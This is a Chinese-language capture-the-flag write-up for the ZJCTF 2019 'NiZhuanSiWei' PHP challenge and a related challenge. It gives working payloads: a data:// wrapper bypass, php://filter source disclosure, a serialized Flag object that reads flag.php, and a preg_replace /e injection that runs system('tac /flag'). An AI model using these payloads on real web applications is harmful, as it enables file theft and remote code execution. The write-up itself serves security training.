[ZJCTF 2019]NiZhuanSiWei
- 直接构造payload:
view-source:http://5e61447f-2d28-46b3-b6b8-8939e1fbded5.node3.buuoj.cn/?text=data:%2f%2ftext%2fplain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
第一个利用data协议绕过
?text=data://text/plain,welcome to the zjctf
第二个利用php://filter,读取
?file=php://filter/read=convert.base64-encode/resource=useless.php
第三个序列化
<?php
class Flag{ //flag.php
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$b = new Flag();
$a = serialize($b);
echo $a;
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最后读取flag时,要将php://filter
去掉
ZJCTF不过如此
- 题目信息
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
- text应该是一个文件,利用data或者input协议
?text=php://input
POST:
I have a dream
?file=php://filter/convert.base64-encode/resource=next.php
或者
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
- 解码后的结果:
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
传入的参数被执行
- \1表示取出正则匹配后的第一个子匹配中的第一项
因此,$re可以是\S+===>\S%2b
\S匹配任何非空字符
strlower:
返回字符串
${变量名}
:官方解释
Payload:
假设:
- 下面这种情况下cmd是全局作用下的变量,不会接收在function函数下的变量
next.php?\S%2b=getFlag()&cmd=system('tac /flag');
- 下面这种情况getFlag会被认为是变量名,cmd会传给这个变量名,接受到php代码就是$_GET[cmd]那块
next.php?\S%2b=${getFlag()}&cmd=system('tac /flag');